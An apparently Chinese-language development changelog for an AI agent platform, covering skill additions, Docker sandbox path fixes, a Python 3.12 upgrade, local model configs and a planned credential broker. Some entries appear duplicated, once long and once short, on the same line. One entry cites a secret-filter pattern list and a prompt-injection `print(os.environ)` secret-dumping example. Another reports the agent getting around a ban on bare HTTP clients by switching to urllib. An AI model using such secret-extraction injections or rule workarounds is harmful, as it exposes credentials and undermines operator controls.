跟本 bug 正交,该 work item 延后到外部用户开放前的状态没变);`RUN.md` 不动(无 CLI / env / 文件布局变化);`SKILL_LIST.md` 不动(skill 列表无变化)。
- **3 个 SKILL.md 校准 sandbox 下外部凭证可用性**:用户实测 LLM 报 documents 缺 `DOCUMENT_SEARCH_API_KEY`,追到 `tools/run_python.py::_SENSITIVE_PATTERNS = ("API_KEY", "TOKEN", "SECRET", "PASSWORD", "PRIVATE_KEY")` 在 subprocess 起前删所有名含这些字面的 host env —— 设计是挡 prompt 注入 `print(os.environ)` 抽 ARK / JWT_SECRET 等(JWT_SECRET 一旦露=任意身份伪造),**误伤**了 skill 端从 env 读 key 的 `pymatgen.materials.mp_rester()``skills.documents.client._api_key()`(docker backend 下 host env 根本不入容器,问题更彻底)。**连带发现**:`research` SKILL.md 排版跟两者太像(都"准备段写 import + env 说明"),LLM 看 documents 失败**类推**也放弃 research —— 可 `research/paper.py:10` `PAPER_SERVER_URL` 是 URL 有默认值 `http://paper.xxhhcty.xyz:8080`、过滤器根本不碰;被用户逼试又用 `urllib.request` 钻反模式行 128 只禁 `httpx/requests` 的字面空子,跳过 helper 后 SKILL.md 教的 search filter / 中文转英文术语全丢,`search=cement+based` 字符级模糊匹配返 6809 条横跨无人机 / 锂电池 / 热界面 LLM 还以为搜对了。**改 3 个 SKILL.md**:① `pymatgen` H1 后插 WARNING,明示 mp 联网不可用 + 列离线 5 能力(`Structure.from_file` / `SpacegroupAnalyzer` / `XRDCalculator` / `CEMENT_PHASES` / VASP 输入)+ 禁脑补晶格;② `documents` H1 后插 WARNING,标整体不可用 + 降级到 research / 用户自导出;③ `research` 在 "准备"段后加一段 callout 明示**不持 secret + sandbox 任何模式都能用 + documents 不可用时是降级首选**,反模式行 128 扩成"任何 HTTP 客户端(httpx/requests/urllib/aiohttp/curl)裸调"并说清裸调代价(SKILL.md 教学全丢)。`SKILL_LIST.md` 速览表 documents / pymatgen 加 ⚠️ 状态标 + 最后更新 2026-05-29;`RUN.md` env 段 `DOCUMENT_SEARCH_API_KEY` / `MP_API_KEY` 行下加 ⚠️ 注脚说 sandbox 被过滤器拦。**架构方向(下轮做)**:不取消过滤器(会把 ARK / JWT_SECRET / BOCHA / ZCBOT_ADMIN_TOKEN 全暴露,prompt 注入面爆开),不为每 service 包 host tool(线性增长 + 拆 query / 后处理割裂 LLM 体验),走业界 2025-2026 主流的 **credential broker / credential proxy**(Infisical Agent Vault / NVIDIA agentic workflow 指南推):一个外发代理持所有 key,sandbox 出站 HTTP 经它按目标域名 / URL 前缀注入 auth header,新增 service 加一行 broker 配置即可,key 永不入 sandbox + prompt 注入抗性同 host tool 方案,代价是 ~100 行 fastapi 小服务 + Dockerfile env 加 `MP_BASE_URL=http://broker:8080/mp` 这类 URL(URL 不是 secret,过滤器不碰)。两种落地形态:**A forward proxy** (`HTTPS_PROXY`,需自签 CA 装容器) / **B URL-rewriting reverse proxy**(broker 暴露 `/mp/*` `/docs/*` 路由,skill 改 BASE_URL,不用 MITM)—— 倾向 B,工程量更小。`DESIGN.md` 本轮不动 —— broker 实际落地时再加 §7.X "外部凭证代理范式"段,避免 DESIGN 描述未实现内容。
### 2026-05-28 ### 2026-05-28
- **`skills/review/SKILL.md` 加"长文档处理"段(骨架扫描 + 用户挑章节深审 + 中间文件落盘)**:用户报实际审稿场景里"有些文件很多页",现 SKILL.md 的"审稿顺序"只讲做什么维度(结构/语义/逻辑/表达/细节),不讲长文怎么切 —— 一篇 50 页报告塞一轮处理,中段易略读、修改稿覆盖不全、跨章一致性问题漏掉、易超输出限制。新加 `## 长文档处理` 段插在"审稿顺序"和"输出格式"之间:**阶段 1 骨架扫描** —— 通读全文只出章节目录 + 全局问题(主旨/论证链/跨章一致性/结构)+ 每章一句话粗读印象,**不出修改稿**,带专用输出模板,结束后停下等用户挑章节;**阶段 2 分段深审** —— 用户指定后按"审稿顺序"做完整深审,每段独立避免数十页润色稿一把吐,允许多轮每轮 1-3 章;**中间文件落盘** —— Claude 自主判断要不要写,典型三类(骨架 `review-outline.md` / 分章 `review-<编号>-<短标题>.md` / 合并稿 `<原文>.revised.<扩展名>`),默认原文同目录,只读位置或路径不明放 cwd,要求"写完同时给文件路径 + 关键摘要"避免只丢路径不汇报。"输出格式"段开头加交叉引用提醒长文先看新段不要直接套常规模板。否决:(a) 全自动逐段(不让用户挑) —— 长文里大部分章节其实没大问题,逐段精修浪费 token + 把跨章问题切散;(b) 单轮两遍法(pass 1 全局 + pass 2 局部) —— 仍是一把梭,输出超限风险一样;(c) 硬编码字数 / 页数门槛 —— 给"约 5000 字 / 8 页 / ≥4 章节"作启发标记 + 列出典型长稿类型(申报书/报告/学位论文/标书/蓝皮书),让 LLM 综合判断更稳。`DESIGN.md` 不动(纯 skill 内部流程,无架构变化);`RUN.md` 不动(无 CLI / env / 文件布局变化) - **`skills/review/SKILL.md` 加"长文档处理"段**:阶段 1 骨架扫描(只出目录 + 全局问题,不出修改稿,停下等用户挑章节)→ 阶段 2 分章深审 + 中间文件落盘。解长稿一轮处理易略读 / 覆盖不全 / 超输出限制
- **新增 `config/models/local.yaml`(family=`local`,variant `r1` / `qwen3`)接内网 OpenAI 兼容推理服务,涉密任务专用**:用户报建材院有些科研 / 立项 / 配方任务不能上公网模型(数据敏感),内部已部署 DeepSeek-R1(满血,调试中)+ Qwen3-30B-A3B(MoE)在 `http://182.54.21.126:9000/v1`(OpenAI 兼容,共享同一 key)。yaml 两个 variant `model_id``openai/DeepSeek-R1` / `openai/Qwen3-30B-A3B`(litellm provider 前缀 `openai/`,后段透传给 base_url),`api_base` 指内网 IP,`api_key_env` 同填 `LOCAL_LLM_API_KEY`。**上下文取舍**:R1 满血官方 128K → `max_context=131072 / reliable=65536`;Qwen3-30B-A3B 原生 32K → `max=32768 / reliable=16384`,reliable 给一半跟 deepseek_v4 / glm 档案比例一致。**`thinking_mode=false`** 是关键:R1 / Qwen3 是天生推理模型默认就思考(响应里带 `<think>` 标签),不通过 OpenAI / DeepSeek V4 的 `reasoning_effort` 等级控制 — 设 true 会发 reasoning_effort 字段,本地 vLLM / sglang 多半不认报 400。`tool_calling_quality=fair` 标注 R1 / Qwen3 tool use 弱于 V4 / GLM(routing 层用到的话会避开,目前只是文档标记)。`optimal_temperature=0.6` 按用户给的值。`.env` 加 `LOCAL_LLM_API_KEY`(用户已填实际值);`RUN.md` env 段同步加说明 + probe 命令两行(`local.r1` / `local.qwen3`)+ 最后更新日期改 2026-05-28。**初次连通性测试**:`local.qwen3` 跑通(15s,prompt=13 / completion=363,响应带 `<think>` 推理段);`local.r1` 当前 InternalServerError 500(服务器侧还在调试,非 yaml 问题)。**第二个 variant 原本写 `Qwen/QwQ-32B`,实测服务端返回 `model=Qwen3-30B-A3B` → 改 model_id + display_name 对齐真实部署的 MoE 模型**(Qwen3 系列 30B 总参 / 3B 激活,2025 阿里新出),variant key `qwq``qwen3` 跟着改。**不改 `agent.yaml` 默认模型**(`default_model` 仍 `deepseek_v4.flash`),涉密任务用户显式选;**未写"敏感任务自动路由本地模型"逻辑** — 当前没 sensitivity 标记机制,加是大改,先按显式选,要不要自动路由后面再说。否决:(a) family 叫 `private` / `intranet``local` 更短且语义对齐(本地推理服务);(b) `model_id` 不加 `openai/` 前缀 — litellm 不知走 OpenAI 兼容协议会按 model 名猜 provider 必跪;(c) reasoning_effort_levels 给 ["low","medium","high"] — 跟 thinking_mode=false 配相互矛盾,留空更干净;(d) 默 default_model 切到 local.r1 — R1 推理慢、tool calling 弱、且公网模型多数场景代价 / 质量更好,涉密是少数;(e) 在 `config/media/` 加同名 file — local 是 chat LLM 不是媒体生成,放 `config/models/` 才对。`DESIGN.md` 不动(新加 model 档案无架构变化) - **新增 `config/models/local.yaml`(family=local,variant r1 / qwen3)接内网 OpenAI 兼容推理服务,涉密任务专用**:`model_id` 加 `openai/` 前缀走兼容协议,`api_base` 指内网。关键 **`thinking_mode=false`**(R1 / Qwen3 天生推理,发 `reasoning_effort` 本地 vLLM 多半 400)。不改默认模型,涉密显式选;qwen3 跑通,r1 服务端调试中 500
- **修 `LoadSkillTool` 在 docker backend 下返回 host 绝对路径导致容器内 fs 工具找不到 references 的 bug**:实测部署机 dogfood `analyze` skill 时,LLM 调 `load_skill('analyze')` 拿到 header `[skill=analyze, dir=/home/lighthouse/zcbot/skills/analyze]`,照 SKILL.md 教学拼 `<skill_dir>/references/pico_template.md``read` →"file not found"。**根因**:`core/executor_docker.py` 设计上 fs/shell/run_python 全走 `docker exec` 进容器(行 56-60 `CONTAINER_TOOLS`),skills/ bind mount 到容器内 `/sandbox/skills:ro`(`core/sandbox/pool.py:227-229`)—— 容器 namespace 里**没有 host 路径**(`/home/lighthouse/zcbot/...` 不存在),只有 `/sandbox/skills/analyze`。`LoadSkillTool` 跑在 host agent 进程里,塞给 LLM 的 `dir=...` 一直是 host 绝对路径,docker backend 下 LLM 用这条路径调容器内 read/glob/grep 必抓瞎。**为什么没早暴露**:proposal/research/ppt 这些 references-heavy skill 历史多在 host backend(开发期)跑通,docker backend 是部署期才打开;且 LLM 经常就着 SKILL.md 本体直接干活不去 read references,踩到的人不多;analyze 拆成 5 references 强制 read,首次集中暴露。**修法(A 候选,user 选)**:`LoadSkillTool` 加 `container_skills_dir: Optional[str]` 构造参数,有值时返回头 `dir=<container_skills_dir>/<skill_name>`(去重末尾斜杠),无值保持原 host 绝对路径。`agent_builder.py:392-405` 在装 LoadSkillTool 时复用 `select_executor` 同款 env 判断(`os.getenv("ZCBOT_SANDBOX_BACKEND")=="docker"`),为 True 时传 `"/sandbox/skills"`(与 pool.py mount target 一致)。`tests/test_load_skill.py` 4 case 锁住:host backend host 路径 / docker backend `/sandbox/skills/<name>` / 末尾斜杠拼接不双斜杠 / 未知 skill 报错走原路径。全套 4/4 PASS + `tests/test_executor_docker.py` 15/15 PASS 回归无破。**结构性收益**:所有现存 skill(proposal/ppt/research/coding/pymatgen/stats_ml/plot_pub/...)references 在 docker backend 下自动 work,不用一个个改 SKILL.md 教 LLM 用容器路径(那会破 host backend 开发环境)。**部署后操作**:部署机需 `git pull` 拉这条 commit + 重启 agent 进程让新代码生效(skill 注册表已经是每请求重建 §c4229be,但 LoadSkillTool 实例化在 build_agent 里,需要新进程或新连接才能拿到带 container_skills_dir 的实例)。否决:(b) bind mount host 路径到容器同样位置 —— 容器路径跟 host 强耦合,部署路径换地方就跪;(c) 改全部 SKILL.md 让 LLM 用 `/sandbox/skills/...` —— 散点改易漏,且 host backend 下 `/sandbox` 不存在,反破 dev 环境。`DESIGN.md` 不动(无架构变化,纯实现修);`RUN.md` 不动(无 CLI / env 变化) - **修 `LoadSkillTool` 在 docker backend 返 host 绝对路径致容器内 fs 工具找不到 references**:skills/ bind mount 到容器 `/sandbox/skills`,容器内无 host 路径。加 `container_skills_dir` 参数,docker backend 时返 `/sandbox/skills/<name>`。所有 references-heavy skill 自动 work,不用逐个改 SKILL.md
- **新增 `analyze` skill(科学问题分析 / 拆解 / 引导),服务建材院 R&D 早期问题翻译场景**:用户拿"模糊的高层科研问题"(典型句式"想搞清楚 X 原因 / 怎么提升 Y / 该不该做 Z")过来时,既不是写本子(proposal)/也不是查文献(research)/也不是建模(stats_ml),而是**问题还在概念阶段需要先想清楚**——之前 10 个 skill 没人接这个场景,模型只能凭直觉糊弄。本 skill 定位为"协调器 / 问题翻译器",**不执行任务**,只把模糊命题拆成可操作子问题 + 实施路线图,最终接力给下游 skill。**四段式工作流**:① PICO/PECO 规范化(P 对象 / I 干预 / C 对照 / O 量化输出 + FINER 五维自检)—— 卡 BLOCKING;② Issue Tree 拆解(MECE 原则,默认"机理-现象-工艺"三层,叶子节点标 `[类型 / 优先级 / 能力描述]`)—— 卡 BLOCKING;③ 按叶子类型分支深化:根因型走 Fishbone(六大支:材料/工艺/设备/检测/环境/人员)+ 5Whys、创新型走 First-principles 拆假设 + TRIZ 矛盾矩阵(摘 10 对建材常见冲突),优化型走 DoE 选型导航(PB/全因子/CCD/Box-Behnken/混料/序贯);④ 实施路线图 + TODO + 接力建议(`analysis.md` §6 每步四件事:干什么 / 能力描述 / 产物 / 判停条件)。**文件结构**:`skills/analyze/SKILL.md`(121 行)+ 5 份 references(78-95 行,按需 always read 或分支 read)+ 1 份 `templates/analysis_report.md`(87 行 = 最终 `analysis.md` 骨架),共 7 文件 657 行。**关键决策**:(a) **不硬编码"叶子能力 → skill 名"映射表** —— runtime 的 skill discovery 已经把所有 skill description 注入 prompt(DESIGN §3.5),硬编码等于重复 + 改名要回来改;改用"能力描述"(动词短语)让 LLM 按当时看到的 skill 清单自匹配;(b) **触发 description 双重防护** —— A 写死"还在想方向 / 不知道从哪入手"触发条件 + 显式列出何时不用(proposal/research/stats_ml/review 走对应 skill),B 在 §输出末尾推荐"下一步用 X 能力推进",前者拦"路由进"后者拦"路由出"卡死;(c) **不需要 Python helper** —— 全引导式对话 + markdown 输出,跟 review skill 同范式,无代码;(d) **TRIZ 不抄全 40 原理矩阵** —— 摘 10 对建材常见矛盾(强度↑韧性↑ / 早强↑后期↓ / 致密↑透气↑ 等),够 80% 场景 + 不污染上下文;(e) **DoE 选型表不生成实验点位** —— analyze 只规划设计类型 + 因素表,具体随机化 / 点位生成由下游 stats_ml 跑 pyDOE2,职责清晰;(f) **产物文件简单命名 `analysis.md`** —— 不学 proposal 的 `<today>-<short_id>-<name>.spec.md` 多版本机制(spec 是"宪法"需要定调一次,analysis 是工作文档迭代覆盖即可);(g) **examples 全打建材域**(P42.5 早强偏低 / 熔铸 AZS 砖热震 / 低碳水泥探索 / 矿粉粉煤灰配方 DoE),触发 description 保持领域无关(框架本身通用),只在 references 里塞建材 case 让 LLM 学场景适配。否决:(a) `proposal` 直接覆盖问题分析功能 —— proposal 已包含"先写要点再写正文"两段式,但那是"已定调要立项"之后的拆解,跟"还没决定要不要立项"的探索阶段语义不同;(b) 合并到 `research` —— research 是查文献执行能力,问题拆解不查文献也能做;(c) 写成 Python framework(自动拆解 + 自动 PICO 填空)—— 强行结构化反而压死开放探索,引导式对话更贴 R&D 实际节奏。`DESIGN.md` 不动(新加 skill 无架构变化);`RUN.md` 不动(无 CLI / env / 文件布局变化);`SCIENTIFIC_SKILLS.md` 不动(该文件是 K-Dense 仓库引进评估笔记,analyze 是自主设计不在其列)。 - **新增 `analyze` skill(科学问题分析 / 拆解 / 引导)**:服务建材院 R&D 早期模糊问题翻译。四段式:PICO 规范化 → Issue Tree 拆解 → 按叶子类型分支(Fishbone / First-principles+TRIZ / DoE)→ 实施路线图。定位协调器不执行任务,接力下游 skill;不硬编"能力 → skill"映射(靠 runtime skill discovery 自匹配)。
- **Python 3.10→3.12 升级(host + Dockerfile)+ DockerExecutor PYTHONPATH 加 `/sandbox` 修历史 import bug + 3 个科学 skill smoke 通过**:上一条加完 3 个科学 skill 后跑 smoke 发现 step D mp_rester 联网炸 `ImportError: cannot import name 'NotRequired' from 'typing'` —— Materials Project 官方依赖 `emmet-core 0.86.0rc1``outcar_adapter.py` 直接 `from typing import NotRequired`(3.11+ 才有,没走 `typing_extensions` 兜底),原 host .venv 是 Python 3.10.9 → mp-api 整链路 import 不进。**选 3.12 而非 3.11/3.13**:3.12 是当下 ML/AI 生态默认推荐版本(稳一年半 + 所有主流包预编译 wheel 覆盖完整),3.11 跟容器对齐但少一年优化,3.13 释放才半年冷门 wheel 偶尔退源码编译 Windows 上易踩坑(没新特性需求,激进升只是踩雷概率)。**实施**:① host py -3.12 -m venv 重建 .venv,pip install -r requirements.txt 装齐(pymatgen 2026.5.4 / mp-api 0.46.1 / emmet-core 0.86.4 / sklearn 1.8.0 / statsmodels 0.14.6 / numpy 2.4 / scipy 1.17 / matplotlib 3.10.9 / litellm / fastapi / sqlalchemy / 全套传递依赖);② Dockerfile FROM `python:3.11-slim``python:3.12-slim`(host / 容器同步升,部署机 rebuild image 时生效);③ **顺手修 `core/executor_docker.py:172` PYTHONPATH** `/workspace``/sandbox:/workspace`:历史 bug —— 多个 skill(`research/paper`、新加 `pymatgen/materials`、`plot_pub/style`)SKILL.md 都教 LLM `from skills.xxx.yyy import zzz`,host backend 因 base_dir=Path.cwd()(zcbot repo 根)注入 PYTHONPATH 能 work;docker backend 下容器只有 `PYTHONPATH=/workspace` + skills/ bind mount 到 `/sandbox/skills:ro`,`import skills.xxx` 找不到。本次加 `/sandbox` 前缀(在 /workspace 前,让 skills 优先级高于用户 task 目录的同名 shadow),`tests/test_executor_docker.py:243-245` regression test 改 `assertIn("PYTHONPATH=/sandbox:/workspace", ...)`,**全套 15/15 PASS**。**smoke 实跑**:step A pymatgen helper + XRDCalculator MgO 11 个峰 ✅ / step B sklearn R²=0.575 + statsmodels R²=0.911 p≪0.05 ✅ / step C plot_pub SimHei + PNG+PDF 出图 ✅ / step D mp_rester 联网 ⚠️ 返 403 "Your IP/ASN blocked"(Materials Project 服务侧 IP 临时封禁,跟代码无关,LBNL 服务对中国大陆 IP 段或同 ASN abusive traffic 触发 → 等几小时自动解 / 邮件 support@materialsproject.org 报公网 IP 申请解封 / VPS 走代理 fallback)。**非阻塞**:pymatgen 本地功能(CIF I/O / XRDCalculator / SpacegroupAnalyzer / PhaseDiagram / VASP 输入)100% 能用,只是 `mp_rester` 在线查询暂不能用。否决:(a) 升 3.11(只跟容器对齐,少一年优化,3.12 同样兼容容器);(b) 升 3.13(释放半年,冷门 wheel 偶尔退源码编译 Windows 踩坑,激进升无收益);(c) pin `emmet-core<0.86` + `mp-api<0.45`(临时,下次 pip install 不 pin 又炸,且丢 emmet 新功能);(d) monkey patch `typing.NotRequired = typing_extensions.NotRequired`(hacky 且挡不住 mp_api 下游其他 3.11+ 假设);(e) executor PYTHONPATH 改 `/workspace:/sandbox`(/workspace 优先 → 用户 task 目录如果手贱建 `skills/` 同名子目录会 shadow 真 skills,/sandbox 在前更稳)。`DESIGN.md` 不动(纯实施层 Python 版本 + 容器 PYTHONPATH 修);`RUN.md` 不动(env 段 MP_API_KEY 已在上一条 skill commit 加入,Python 版本要求记 `requirements.txt` + Dockerfile 自表) - **Python 3.10→3.12 升级(host + Dockerfile)+ DockerExecutor PYTHONPATH 修**:mp-api 依赖链 `from typing import NotRequired`(3.11+)在 3.10 import 不进;选 3.12(ML 生态默认 + wheel 覆盖全)。顺手修 `executor_docker` PYTHONPATH `/workspace`→`/sandbox:/workspace`(docker backend 下 `import skills.xxx` 找不到的历史 bug)。3 科学 skill smoke A/B/C 通过,D 因 MP 封 IP 返 403
- **新增 3 个科学计算 skill(pymatgen / stats_ml / plot_pub),服务建材院无机非金属材料 R&D**:`SCIENTIFIC_SKILLS.md` 评估完 K-Dense/scientific-agent-skills 仓库后落地选 4 个 ★★★ 中前 3 个动手(materials_db 后置,USPTO 部分留并入 `skills/patent`)。命名取**工具名直接**(`pymatgen` / `plot_pub`)+ **业务前缀**(`stats_ml` 因合三库需要场景导航),贴合现有 skill 命名风格(coding/ppt/research/...)。① **`skills/pymatgen/`**:`SKILL.md`(无机相中文→化学式映射表说明 / XRD 比对 / 对称性 / 相图 / VASP 输入文件,八条反模式)+ `materials.py`(`CEMENT_PHASES` dict 覆盖水泥熟料 / 水化产物 / 石膏 / 碳酸盐 / 陶瓷耐火 / 玻璃晶相 / 常见矿物共 50+ 条目,中英文 / 简写多 key 指同一化学式;`lookup_phase()` 大小写不敏感查找;`mp_rester()` context manager 自动从 env 拿 `MP_API_KEY`,缺则 RuntimeError 带申请链接;mp_api 局部 import 避免装包前 import 即崩)。② **`skills/stats_ml/`**:`SKILL.md` 纯指南(场景导航表选 sklearn / statsmodels / PyMC、5 个工作流示例 A-E 含配方-性能回归 / DoE 二阶响应面 / 显著性分析 / 贝叶斯小样本 / DBSCAN 异常配方、16 条反模式分库列示)+ 无 helper(三库 API 直接用)。③ **`skills/plot_pub/`**:`SKILL.md`(XRD 多相叠图 / TG-DSC 双 Y 轴 / 强度发展曲线 / 多 panel 论文 figure 4 个工作流 + 中文字体说明 + 10 条反模式)+ `style.py`(`apply_pub_style()` 一键设置:中文字体跨平台 fallback SimHei→YaHei→WenQuanYi→DejaVu / dpi 150 屏幕 300 保存 / viridis 默 cmap / 刻度朝内 / legend 无框 / PDF Type 42 字体合规期刊 / `font.size` `linewidth` 等可参数化;`_find_chinese_font()` 在 `font_manager.fontManager.ttflist` 查实装字体而非靠 try-load)。**关键决策**:(a) **不一键装 138 个 skill** —— 上下文噪声 + 误触发(用户"分析一下"模型可能跳 Scanpy),挑 4 个 ★★★ fork 单装;(b) **PyMC 装包延后** —— 带 pytensor 装 5min+ 体积大,真要做贝叶斯再装;requirements.txt 注释掉以 `# pymc>=5.10.0` 形式留接口;(c) **MP_API_KEY 走 .env** —— 跟 DEEPSEEK_API_KEY / ARK_API_KEY 同范式,litellm 不读但 `os.environ.get` 拿到;(d) **化学式映射表对中文 / 简写 / 英文学名同等待遇** —— 用户报相名习惯混杂(C3S / 硅酸三钙 / alite 都常见),多 key 同 value 比强迫归一化体验好;(e) **不写示例数据/单元测试**:开发期 LLM 工作流场景多变,跑了 SKILL.md 工作流验证而非脚本测试 —— skill 是 prompt 不是代码模块。requirements.txt 加 pymatgen / mp-api / scikit-learn / statsmodels(PyMC 注释)。`RUN.md` env 段加 MP_API_KEY 说明(可选 + 申请链接 + 未设抛 RuntimeError)。`DESIGN.md` 不动(纯 skill 加,无架构变化);`SCIENTIFIC_SKILLS.md`(根目录调研笔记)已沉淀整体评估,后续 materials_db 落地参考。装包未执行 —— 等用户跑 `.venv/Scripts/pip install pymatgen mp-api scikit-learn statsmodels` 装上才能验证 import 路径生效。否决:(a) 三个 skill 合并成一个 `science` skill —— 触发语义糊,LLM 难判,各做各的更清;(b) `materials_pymatgen` 这种业务前缀全打 —— pymatgen 本身就是材料库,前缀冗余;(c) helper 过度封装(写 `simulate_xrd(formula)` 全自动)—— 隐藏 pymatgen 真实 API,LLM 学不到本来好用的上游能力,反模式段在 SKILL.md 里讲清更轻;(d) plot_pub 内 `apply_pub_style()` 失败抛错 —— 中文字体没装也应该继续画(图能看就行,只是中文方块),warn 比 raise 友好 - **新增 3 个科学计算 skill(pymatgen / stats_ml / plot_pub)**:服务无机非金属材料 R&D。pymatgen 带 `CEMENT_PHASES` 中英文相名映射 50+;stats_ml 纯指南(sklearn / statsmodels / PyMC 场景导航,无 helper);plot_pub 带 `apply_pub_style()` 出版级中文字体跨平台 fallback。挑 4 个 ★★★ fork 单装,不一键装 138 个
- **DESIGN §7.5 增"image 体积 / 多 user 资源 / 后续加包策略"决策段**:dogfood 推进到加 npm + chromium + mermaid-cli 后,sandbox image 1.5G+,后续 domain 包(rdkit / pymatgen / ASE / pandoc-tex 等)还会进一步推大,把"image 大 = 资源占用大 = 多 user 容器爆炸"这条直觉关联的事实链拆开沉淀,免得未来花减肥功夫减错地方。三条认知校准:① **image 大 ≠ 运行时吃更多 RAM**(空载 `tini → sleep infinity` RSS 个位数 MB,layer 共享让磁盘乘数 = 1,真吃 RAM 的是 active exec 行为而非 image 字节);② **多 user 同时在线瓶颈在并发 exec 不在 idle 容器数**(杠杆全在 `docker run --memory --cpus --pids-limit` + 同 user 并发 semaphore + 整机 active user cap + idle 回收,减 image 体积对这条曲线无效);③ **新增依赖采用"base 收敛 + per-user 持久化 venv + 使用频次沉淀"**:base 只放高频共用轻量包(`requirements.txt` 当前形状),长尾 domain 包模型用 `pip install --target=/workspace/.venv/site-packages` 装到 per-user 持久化路径(随 user_root bind mount,idle 回收不丢);加 audit 统计哪些包累计被 >30% user 装过 ≥ 3 次 → 下次 build 合并进 `requirements.txt`,base 跟着真实使用模式收敛而非拍脑袋。否决:(a) 全塞 base —— 重包(torch / texlive)+ 长尾包打死磁盘 + 强迫所有 user 陪绑;(b) 运行时临时装(不持久化)—— 容器 idle 回收即丢冷启重装,高频复用差;(c) 多 image 按场景分 —— per-user 容器模型下 user 不知道选哪个,切 skill 还得换 image 心智不通;(d) per-user venv 用 named volume / 共享 image cache —— 包 install 脚本是任意代码,跨 user 共享 venv 破坏跨 user 隔离边界;(e) 依赖 pip cache 解决问题 —— pip cache 只省网络不省落盘,容器回收照样丢。落地点排进 Stage C Step 6 Executor 实施:cgroup limits / 并发 semaphore / idle 回收 / per-user venv mount 一并进 `DockerExecutor`(audit 沉淀机制延后,需要 dogfood 安装日志积累再开)。`RUN.md` 不动(当前无 CLI / env 变化,真做 venv mount 时再加);`DESIGN.md` §7.5 升级触发信号表后新增该段 - **DESIGN §7.5 增"image 体积 / 多 user 资源 / 后续加包策略"决策段**:① image 大 ≠ 吃更多 RAM(layer 共享);② 多 user 瓶颈在并发 exec 不在 idle 容器数;③ 新增依赖走"base 收敛 + per-user 持久化 venv + 使用频次沉淀"。
### 2026-05-27 ### 2026-05-27
- **ppt skill 歧义反问 + general_v1 加"产物形式歧义先问"通用原则**:上次 8109f20 把 ppt description 收紧成"白名单 + 反例"后,实测"MES**汇报方案**"这种请求还是被路由命中 —— 反例列表只覆盖"生成方案 / 写报告 / 出文档 / 做纪要"几个组合,但"汇报方案"未列入,而"汇报"在 LLM 语义里就有强烈的 PPT 联想重力(工作汇报 / 季度汇报多以幻灯片形式)足以压过"必须明确点名 PPT"的硬约束。**修法**:① `skills/ppt/SKILL.md:3` description 改三段(✅触发白名单 / ⛔不触发[只留明确指向文档的"报告 / 文档 / 纪要"] / ⚠️ 歧义先反问)—— 把"汇报 / 方案 / 材料"从反例摘出来,改成"先反问用户'PPT 还是 Word/Markdown 文档'再决定 load",把判断权还给用户而不是赌 LLM 路由词典;② `prompts/system/general_v1.md` Skill 机制段加一条系统级原则"产物形式歧义时先问",升格为跨 skill 通用约束(imagegen / videogen 各自 skill 内本来就有"问清楚再画"逻辑,现在抽到 system prompt 让新加 skill 也能继承)。**否决**:(a) 继续往反例里堆"汇报方案 / 汇报材料 / 汇报内容"—— 堆词典治标不治本,下次"做个 Q4 总结"又得加;(b) 路由层加 `required_keywords` 结构化字段,在 discovery_block 之前 grep 用户原话兜底 —— 跨多 skill 都得补字段,工程量大,短期 LLM 反问范式收益已够;(c) ppt skill load 后再反问 —— 路由命中后再反问就是已经误触发了,要在路由阶段拦。代价:用户已经心里清楚要 PPT 只是没说时,会觉得多一轮反问啰嗦;缓解靠反问句式短 + 暗示默认选项,一个字"PPT"就能过,比生成完整 deck 后推翻代价小一个数量级。`DESIGN.md` 不动(无架构变化);`RUN.md` 不动(纯 skill 元数据 + system prompt 文案) - **ppt skill 歧义反问 + general_v1 加"产物形式歧义先问"通用原则**:"汇报方案"仍被路由命中(LLM 把"汇报"联想成 PPT)。把"汇报 / 方案 / 材料"从反例摘出,改成先反问用户"PPT 还是文档",并把原则升格到 system prompt 让新 skill 继承
- **ppt skill description 收紧路由**:`skills/ppt/SKILL.md:3` 原文 "做汇报 PPT、把材料/会议纪要/方案转为幻灯片、生成演示稿" 含 "方案" / "生成" 字样,Claude 路由时把 "生成一个方案" 也命中到 PPT skill。改成显式白名单(PPT/幻灯片/演示文稿/.pptx/slide/deck)+ 显式反例("生成方案 / 写报告 / 出文档 / 做纪要" 不触发 —— 那是文档任务)。`DESIGN.md` 不动;`RUN.md` 不动(纯 skill 元数据)。 - **ppt skill description 收紧路由**:原文含"方案 / 生成"被误命中,改显式白名单(PPT / 幻灯片 / .pptx / slide / deck)+ 显式反例(报告 / 文档 / 纪要不触发)。
- **skill 热更新:`/v1/skills` 每次现扫**:此前 `web/app.py` lifespan 启动时 `app.state.skill_registry = SkillRegistry(...)` 扫一次,`GET /v1/skills` 从这份静态快照读 → 加新 skill 目录(放到 `skills/<name>/SKILL.md`)必须重启 web 才能在 dev SPA 新建任务弹窗下拉看见,为未来"允许用户安装自己 skill"埋了一刀。改法:删 lifespan 那行 + 注释,`/v1/skills` 路由内每次 `SkillRegistry(ROOT / cfg["skills_dir"])` 现扫。实测 SkillRegistry 构造 ~3ms / 次(9 个 skill,iterdir + 9 次 read_text + yaml frontmatter),整个 HTTP e2e ~20ms 完全淹没在 JWT + DB 噪声里,且 `/v1/skills` 只在"新建任务弹窗打开"触发,非热路径。**`core/agent_builder.py::build_agent` 早已是每次新建 SkillRegistry**(每发新消息重扫),所以 agent 内部 `load_skill` 工具与 system prompt discovery block 一直是热的;此次仅修补前端下拉这一处静态快照。Smoke 验证:`skills/_smoke_hot_reload/SKILL.md` 临时创建 → `/v1/skills` 9→10 看见、删除 → 10→9 消失,全程未重启进程。否决:(a) 加 `POST /v1/skills/reload` 显式触发 —— 多 API + 用户得记得调,3ms / 次的优化收益为 0;(b) watchdog 文件系统监听 —— 加依赖 + 容器 bind mount inotify 偶尔不稳 + 工程量过重,与方案 A 在用户体感上无差异;(c) `SkillRegistry` 加 mtime cache —— 智能化复杂度换 ms 级 IO 节省,§7.9 "不为不存在的瓶颈预付架构成本"同款判定。**未来"用户自带 skill"独立维度**(届时 `workspace/users/<uid>/.skills/` 与全局 `skills/` 多 root 叠加),跟当前热更新不耦合,等真做时再加多 root 支持。`DESIGN.md` 不动(无架构变化);`RUN.md` 不动(无 CLI / env 变化) - **skill 热更新:`/v1/skills` 每次现扫**:原 lifespan 启动扫一次的静态快照 → 加新 skill 须重启。改每次现扫(构造 ~3ms,非热路径);`build_agent` 早已每次重建 registry,本次仅补前端下拉这一处
